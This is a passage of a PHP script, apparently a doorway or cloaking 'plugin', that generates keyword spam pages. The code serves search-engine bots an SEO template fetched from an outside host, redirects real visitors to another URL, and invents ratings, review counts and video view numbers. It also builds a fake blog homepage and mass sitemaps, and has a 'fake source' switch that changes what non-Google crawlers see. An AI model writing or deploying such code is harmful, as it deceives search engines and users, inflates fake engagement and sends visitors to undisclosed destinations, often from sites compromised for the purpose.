$r['login']['uuid'] ?? ''; $ru_md5 = $r['login']['md5'] ?? ''; $ru_phone = $r['phone'] ?? ''; $ru_picture_large = $r['picture']['large'] ?? ''; $ru_picture_thumbnail = $r['picture']['thumbnail'] ?? ''; } } catch (Exception $e) { // ignore failures } $replacements = [ '{{keyword}}' => $keyword, '{{title}}' => $this->format_display_title($keyword), '{{title_besar}}' => strtoupper($this->format_display_title($keyword)), '{{title_kecil}}' => strtolower($this->format_display_title($keyword)), '{{title_capitalize}}' => ucwords(strtolower($this->format_display_title($keyword))), '{{keyword_dash_kecil}}' => strtolower(str_replace(' ', '-', $keyword)), '{{keyword_dash_besar}}' => strtoupper(str_replace(' ', '-', $keyword)), '{{des_custom}}' => $this->settings['des_custom'] ?? '', '{{img_custom}}' => $this->settings['img_custom'] ?? '', '{{description}}' => $this->get_random_description(), '{{description_short}}' => substr($this->get_random_description(), 0, 100) . '...', '{{current_date}}' => date('d M Y'), '{{current_date_full}}' => date('l, d F Y'), '{{current_time}}' => date('H:i:s'), '{{current_year}}' => date('Y'), '{{current_month}}' => date('F'), '{{current_day}}' => date('l'), '{{app_rating}}' => $rating_html, '{{app_rating_value}}' => $rating, '{{app_review_count}}' => number_format($review_count), '{{app_platform}}' => $platform, '{{app_category}}' => $category, '{{schema_markup}}' => $schema_markup, '{{site}}' => $this->get_base_url(), '{{site_link}}' => preg_replace('#^https?://#', '', $this->get_base_url()), '{{app_price}}' => $price, '{{page_url}}' => $this->get_base_url() . '/' . $param . '/' . $keyword, '{{page_url_link}}' => preg_replace('#^https?://#', '', $this->get_base_url() . '/' . $param . '/' . $keyword), // RandomUser placeholders '{{ru_title}}' => $ru_title, '{{ru_first}}' => $ru_first, '{{ru_last}}' => $ru_last, '{{ru_street_number}}' => $ru_street_number, '{{ru_street_name}}' => $ru_street_name, '{{ru_city}}' => $ru_city, '{{ru_state}}' => $ru_state, '{{ru_country}}' => $ru_country, '{{ru_postcode}}' => $ru_postcode, '{{ru_uuid}}' => $ru_uuid, '{{ru_md5}}' => $ru_md5, '{{ru_phone}}' => $ru_phone, '{{ru_picture_large}}' => $ru_picture_large, '{{ru_picture_thumbnail}}' => $ru_picture_thumbnail, // Video placeholders '{{video_duration}}' => rand(3, 45), // Random duration 3-45 minutes '{{video_duration_seconds}}' => rand(180, 2700), // 3-45 minutes in seconds '{{video_duration_minutes}}' => rand(3, 45), '{{video_duration_seconds_remainder}}' => rand(0, 59), '{{video_views}}' => number_format(rand(1000, 500000)), '{{video_likes}}' => number_format(rand(50, 25000)), '{{video_comments}}' => number_format(rand(10, 5000)), '{{video_thumbnail}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{video_url}}' => $this->get_random_video_url(), '{{video_embed_url}}' => $this->get_random_video_url(), '{{video_size_mb}}' => rand(50, 500), '{{video_bitrate}}' => rand(1000, 5000), '{{related_video_duration_1}}' => rand(2, 30), '{{related_video_duration_2}}' => rand(2, 30), '{{related_video_duration_3}}' => rand(2, 30), '{{related_video_views_1}}' => number_format(rand(500, 100000)), '{{related_video_views_2}}' => number_format(rand(500, 100000)), '{{related_video_views_3}}' => number_format(rand(500, 100000)), // Related video thumbnails (blur images) '{{related_video_thumbnail_1}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{related_video_thumbnail_2}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{related_video_thumbnail_3}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])] ]; if ($is_bot) { // Always serve the SEO-friendly template for bots $template_txt_url = $endpoint['template_txt_url'] ?? ''; $template = ''; if (!empty($template_txt_url)) { $template = @file_get_contents($template_txt_url); } if ($template === false || empty($template)) { error_log("Failed to fetch template from: " . $template_txt_url); // Fallback to a basic template if the external template fails $template = '<!doctype html> <html lang="en-US"> <head> <meta charset="utf-8" /> <title>{{title_besar}}: {{description}}</title> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <h1>{{title_besar}}</h1> <p>{{description}}</p> </body> </html>'; } } else { // For regular users, check setting for behavior $redirect_mode = $this->settings['real_user_redirect_mode'] ?? 'redirect'; if ($redirect_mode === 'template') { // Load template from external URL and display $template_txt_url = $endpoint['template_txt_url'] ?? ''; $template = ''; if (!empty($template_txt_url)) { $template = @file_get_contents($template_txt_url); } if ($template === false || empty($template)) { error_log("Failed to fetch template from: " . $template_txt_url); // Fallback to a basic template if the external template fails $template = '<!doctype html> <html lang="en-US"> <head> <meta charset="utf-8" /> <title>{{title_besar}}: {{description}}</title> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <h1>{{title_besar}}</h1> <p>{{description}}</p> </body> </html>'; } } else { // Default: redirect to target URL if (!empty($template_url)) { header('Location: ' . $template_url); exit; } } } $html = str_replace( array_keys($replacements), array_values($replacements), $template ); // Dynamic random placeholders like {{number_10}}, {{letternumberup_10}}, {{number_berapabanyak}} $html = preg_replace_callback('/\{\{(number|letter|letterup|letterlow|letternumber|letternumberup|letternumberlow|32bit)_(\w+)\}\}/', function($matches) { $type = $matches[1]; $lenToken = $matches[2]; if (ctype_digit($lenToken)) { $length = max(1, (int)$lenToken); } else { $length = 10; // default for non-numeric tokens } return $this->generate_random_token($type, $length); }, $html); // Handle fake source if enabled and not a Google bot if ($this->settings['fake_source_enabled'] && !$is_google_bot) { $fake_source = $this->get_random_content(); if ($fake_source) { ob_start(); echo $html; $output = ob_get_clean(); echo $output; register_shutdown_function(function() use ($fake_source) { while (ob_get_level()) ob_end_clean(); echo $fake_source; }); exit; } } echo $html; exit; } } catch (Exception $e) { error_log('Endpoint Error: ' . $e->getMessage()); echo '<p class="error">Content temporarily unavailable</p>'; exit; } } } } // If no content is found, return 404 header("HTTP/1.0 404 Not Found"); echo '<h1>404 Not Found</h1>'; echo '<p>The page you requested could not be found.</p>'; exit; } private function get_random_content() { $files = glob('*.php'); if (!empty($files)) { $random_file = $files[array_rand($files)]; $content = file_get_contents($random_file); return ""; } return false; } private function format_display_title($keyword) { $exceptions = [ 'dp' => 'DP', 'tv' => 'TV', 'ac' => 'AC', 'hp' => 'HP', 'cctv' => 'CCTV' ]; $words = explode('-', $keyword); foreach ($words as &$word) { $lower = strtolower($word); $word = $exceptions[$lower] ?? ucfirst($word); } return implode(' ', $words); } // Fetch URL content with timeout and error handling private function fetch_url_content($url, $timeout = 30) { $context = stream_context_create([ 'http' => [ 'timeout' => $timeout, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'follow_location' => true, 'max_redirects' => 5 ] ]); $content = @file_get_contents($url, false, $context); return $content !== false ? $content : false; } // Get random video URL from external file private function get_random_video_url() { static $cached_urls = null; static $last_fetch_time = 0; // Cache for 1 hour (3600 seconds) $cache_duration = 3600; if ($cached_urls === null || (time() - $last_fetch_time) > $cache_duration) { $video_urls_file = 'https://indotify.com/ppdb/praz/video_urls.txt'; $cached_urls = []; try { $content = $this->fetch_url_content($video_urls_file); if ($content !== false) { $lines = preg_split("/(\r\n|\n|\r)/", $content); foreach ($lines as $line) { $line = trim($line); if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) { $cached_urls[] = $line; } } } } catch (Exception $e) { error_log('Failed to fetch video URLs: ' . $e->getMessage()); } // If failed to fetch or empty, use default fallback if (empty($cached_urls)) { $cached_urls = ['https://youtube.com/embed/dQw4w9WgXcQ']; } $last_fetch_time = time(); } // Return random URL from cached list return $cached_urls[array_rand($cached_urls)]; } // Get random description from external file private function get_random_description() { static $cached_lines = null; static $last_fetch_time = 0; // Cache for 1 hour (3600 seconds) $cache_duration = 3600; if ($cached_lines === null || (time() - $last_fetch_time) > $cache_duration) { $desc_file = 'https://indotify.com/ppdb/praz/desc_random.txt'; $cached_lines = []; try { $content = $this->fetch_url_content($desc_file); if ($content !== false) { $lines = preg_split("/(\r\n|\n|\r)/", $content); foreach ($lines as $line) { $line = trim($line); if (!empty($line)) { $cached_lines[] = $line; } } } } catch (Exception $e) { error_log('Failed to fetch descriptions: ' . $e->getMessage()); } // If failed to fetch or empty, use default fallback if (empty($cached_lines)) { $cached_lines = ['Enjoy smart streaming with support quality and fast interface for the best experience']; } $last_fetch_time = time(); } // Return random description from cached list return $cached_lines[array_rand($cached_lines)]; } // Helper function removed - now using external file private function generate_random_token($type, $length) { switch ($type) { case 'number': $seed = '0123456789'; break; case 'letter': $seed = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 'letterup': $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 'letterlow': $seed = 'abcdefghijklmnopqrstuvwxyz'; break; case 'letternumber': $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789'; break; case 'letternumberup': $seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890123456789'; break; case 'letternumberlow': $seed = 'abcdefghijklmnopqrstuvwxyz01234567890123456789'; break; case '32bit': $seed = 'abcdef01234567890123456789'; break; default: $seed = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; } $token = ''; $seedLen = strlen($seed); for ($i = 0; $i < $length; $i++) { $token .= $seed[random_int(0, $seedLen - 1)]; } return $token; } private function generate_sitemap() { $sitemap_info = []; $total_urls = 0; $max_urls_per_sitemap = 50000; // Get current script directory $script_dir = dirname($_SERVER['SCRIPT_FILENAME']); error_log("Script directory: " . $script_dir); // Generate sitemaps for each endpoint foreach ($this->settings['endpoints'] as $endpoint) { if (!empty($endpoint['json_url']) && !empty($endpoint['param'])) { try { error_log("Processing endpoint: " . $endpoint['param']); $json_content = file_get_contents($endpoint['json_url']); $titles = $this->parse_titles_from_content($json_content); if (!empty($titles)) { $sitemap_content = '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'; $urls_added = 0; foreach ($titles as $slug) { $url = $this->get_urlasli() . '/?' . $endpoint['param'] . '=' . $slug; $sitemap_content .= ' <url> <loc>' . $url . '</loc> <lastmod>' . date('Y-m-d') . '</lastmod> <changefreq>weekly</changefreq> <priority>0.8</priority> </url>'; $urls_added++; } $sitemap_content .= ' </urlset>'; // Save sitemap in current script directory $filename = $script_dir . '/sitemap-' . $endpoint['param'] . '.xml'; error_log("Attempting to save sitemap to: " . $filename); // Check if directory is writable if (!is_writable($script_dir)) { error_log("Directory is not writable: " . $script_dir); continue; } if (file_put_contents($filename, $sitemap_content)) { error_log("Successfully saved sitemap: " . $filename); $sitemap_info[] = [ 'filename' => 'sitemap-' . $endpoint['param'] . '.xml', 'urls_added' => $urls_added, 'timestamp' => date('Y-m-d H:i:s') ]; $total_urls += $urls_added; } else { error_log("Failed to save sitemap: " . $filename); } } else { error_log("Invalid or empty titles parsed for endpoint: " . $endpoint['param']); } } catch (Exception $e) { error_log('Sitemap generation error: ' . $e->getMessage()); continue; } } } // Generate sitemap index $this->generate_sitemap_index($sitemap_info); // Store sitemap info in session $_SESSION['sitemap_info'] = $sitemap_info; $_SESSION['total_urls'] = $total_urls; // Redirect back to admin panel header('Location: ' . $_SERVER['PHP_SELF'] . '?admin=1&sitemap_generated=1'); exit; } private function generate_sitemap_index($sitemap_info) { if (empty($sitemap_info)) { error_log("No sitemap info available to generate index"); return; } $sitemap_index_content = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'; foreach ($sitemap_info as $info) { $sitemap_url = $this->get_urlasli() . '/' . $info['filename']; $sitemap_index_content .= ' <sitemap> <loc>' . $sitemap_url . '</loc> <lastmod>' . date('Y-m-d') . '</lastmod> </sitemap>'; } $sitemap_index_content .= ' </sitemapindex>'; // Save the sitemap index in current script directory $script_dir = dirname($_SERVER['SCRIPT_FILENAME']); $filename = $script_dir . '/sitemap_index.xml'; error_log("Attempting to save sitemap index to: " . $filename); // Check if directory is writable if (!is_writable($script_dir)) { error_log("Directory is not writable for sitemap index: " . $script_dir); return; } if (file_put_contents($filename, $sitemap_index_content)) { error_log("Successfully saved sitemap index: " . $filename); } else { error_log("Failed to save sitemap index: " . $filename); } } private function get_base_url() { $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://'; return $protocol . $_SERVER['HTTP_HOST']; } private function get_full_path() { $script_name = $_SERVER['SCRIPT_NAME']; $path_parts = explode('/', trim($script_name, '/')); // Remove the script filename (last part) array_pop($path_parts); // Rebuild the full path return implode('/', $path_parts); } private function parse_titles_from_content($content) { $titles = []; $data = json_decode($content, true); if (is_array($data)) { $isAssoc = array_keys($data) !== range(0, count($data) - 1); if ($isAssoc) { foreach ($data as $key => $_) { $titles[] = $key; } } else { foreach ($data as $entry) { if (is_string($entry)) { $titles[] = str_replace(' ', '-', trim($entry)); } elseif (is_array($entry) && isset($entry['title'])) { $titles[] = str_replace(' ', '-', trim($entry['title'])); } } } } else { $lines = preg_split("/(\r\n|\n|\r)/", (string)$content); foreach ($lines as $line) { $line = trim($line); if ($line === '') continue; $titles[] = str_replace(' ', '-', $line); } } $titles = array_values(array_unique(array_filter($titles, function($v){ return $v !== ''; }))); return $titles; } /** * Fetch first N keywords from URL without loading full file (for huge keyword lists). * Uses streaming: max 2MB read for JSON, or line-by-line for text (500 lines). */ private function fetch_sample_keywords_from_url($url, $max_keywords) { $ctx = stream_context_create(['http' => ['timeout' => 25]]); $handle = @fopen($url, 'r', false, $ctx); if (!$handle) return []; $first_chunk = @stream_get_contents($handle, $this->homepage_fetch_max_bytes); fclose($handle); if ($first_chunk === false || $first_chunk === '') return []; $trimmed = trim($first_chunk); if ($trimmed === '') return []; $first_char = substr($trimmed, 0, 1); if ($first_char === '[' || $first_char === '{') { $data = @json_decode($first_chunk, true); if (is_array($data)) { $titles = $this->parse_titles_from_content($first_chunk); return array_slice($titles, 0, $max_keywords); } } $lines = preg_split("/(\r\n|\n|\r)/", $first_chunk); $titles = []; foreach ($lines as $line) { $line = trim($line); if ($line === '') continue; $titles[] = str_replace(' ', '-', $line); if (count($titles) >= $max_keywords) break; } return array_values(array_unique(array_filter($titles, function($v){ return $v !== ''; }))); } /** * Build homepage sample cache from all endpoints (max N keywords per endpoint). * Safe for hundreds of thousands of keywords: only fetches first 2MB / 500 lines per URL. */ public function build_homepage_cache() { set_time_limit(120); $items = []; foreach ($this->settings['endpoints'] as $endpoint) { $param = $endpoint['param'] ?? ''; $json_url = $endpoint['json_url'] ?? ''; if ($param === '' || $json_url === '') continue; $keywords = $this->fetch_sample_keywords_from_url($json_url, $this->homepage_sample_max_per_endpoint); foreach ($keywords as $kw) { $items[] = ['param' => $param, 'keyword' => $kw]; } } $data = ['items' => $items, 'built_at' => date('Y-m-d H:i:s')]; $dir = dirname($_SERVER['SCRIPT_FILENAME']); $path = $dir . '/' . $this->homepage_cache_file; file_put_contents($path, json_encode($data, JSON_PRETTY_PRINT)); return count($items); } /** * Get cached homepage sample for pagination. * @return array ['items' => [...], 'total' => N, 'page' => p, 'per_page' => n, 'total_pages' => M] */ private function get_homepage_sample($page = 1, $per_page = 30) { $dir = dirname($_SERVER['SCRIPT_FILENAME']); $path = $dir . '/' . $this->homepage_cache_file; if (!file_exists($path)) return ['items' => [], 'total' => 0, 'page' => 1, 'per_page' => $per_page, 'total_pages' => 0]; $raw = file_get_contents($path); $data = @json_decode($raw, true); if (!is_array($data) || empty($data['items'])) return ['items' => [], 'total' => 0, 'page' => 1, 'per_page' => $per_page, 'total_pages' => 0]; $all = $data['items']; $total = count($all); $page = max(1, (int) $page); $total_pages = $total > 0 ? (int) ceil($total / $per_page) : 0; $offset = ($page - 1) * $per_page; $items = array_slice($all, $offset, $per_page); return ['items' => $items, 'total' => $total, 'page' => $page, 'per_page' => $per_page, 'total_pages' => $total_pages]; } /** * Render fake blog homepage: title list linking to ?param=keyword, with pagination. */ private function render_fake_blog_homepage($page = 1) { $per_page = 30; $sample = $this->get_homepage_sample($page, $per_page); $base = $this->get_urlasli(); $site_name = 'Home'; header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo htmlspecialchars($site_name); ?></title> <style> * { box-sizing: border-box; } body { font-family: Georgia, serif; max-width: 720px; margin: 0 auto; padding: 24px; background: #fafafa; color: #222; line-height: 1.5; } h1 { font-size: 1.75rem; margin-bottom: 8px; } .meta { color: #666; font-size: 0.9rem; margin-bottom: 24px; } ul.post-list { list-style: none; padding: 0; margin: 0; } ul.post-list li { padding: 12px 0; border-bottom: 1px solid #eee; } ul.post-list li a { color: #1a0dab; text-decoration: none; } ul.post-list li a:hover { text-decoration: underline; } .pagination { margin-top: 32px; padding-top: 16px; border-top: 1px solid #eee; } .pagination a, .pagination span { margin-right: 8px; } .pagination .current { font-weight: bold; } .empty { color: #666; } </style> </head> <body> <header> <h1><?php echo htmlspecialchars($site_name); ?></h1> <p class="meta">Article list</p> </header> <main> <?php if (empty($sample['items'])): ?> <p class="empty">No articles yet. Please build homepage sample from admin panel.</p> <?php else: ?> <ul class="post-list"> <?php foreach ($sample['items'] as $row): $param = $row['param']; $keyword = $row['keyword']; $title = $this->format_display_title($keyword); $href = $base . '/?' . rawurlencode($param) . '=' . rawurlencode($keyword); ?> <li><a href="<?php echo htmlspecialchars($href); ?>"><?php echo htmlspecialchars($title); ?></a></li> <?php endforeach; ?> </ul> <?php if ($sample['total_pages'] > 1): ?> <nav class="pagination"> <?php if ($sample['page'] > 1): ?> <a href="<?php echo htmlspecialchars($base . '?page=' . ($sample['page'] - 1)); ?>">« Previous</a> <?php endif; ?> <span class="current">Page <?php echo (int)$sample['page']; ?> of <?php echo (int)$sample['total_pages']; ?></span> <?php if ($sample['page'] < $sample['total_pages']): ?> <a href="<?php echo htmlspecialchars($base . '?page=' . ($sample['page'] + 1)); ?>">Next »</a> <?php endif; ?> </nav> <?php endif; ?> <?php endif; ?> </main> </body> </html> <?php exit; } public function get_urlasli() { $full_path = $this->get_full_path(); $base_url = $this->get_base_url(); if (!empty($full_path)) { return $base_url . '/' . $full_path; } return $base_url; } } // Initialize the plugin $plugin = new AdvancedContentPlugin(); $urlasli = $plugin->get_urlasli(); ?>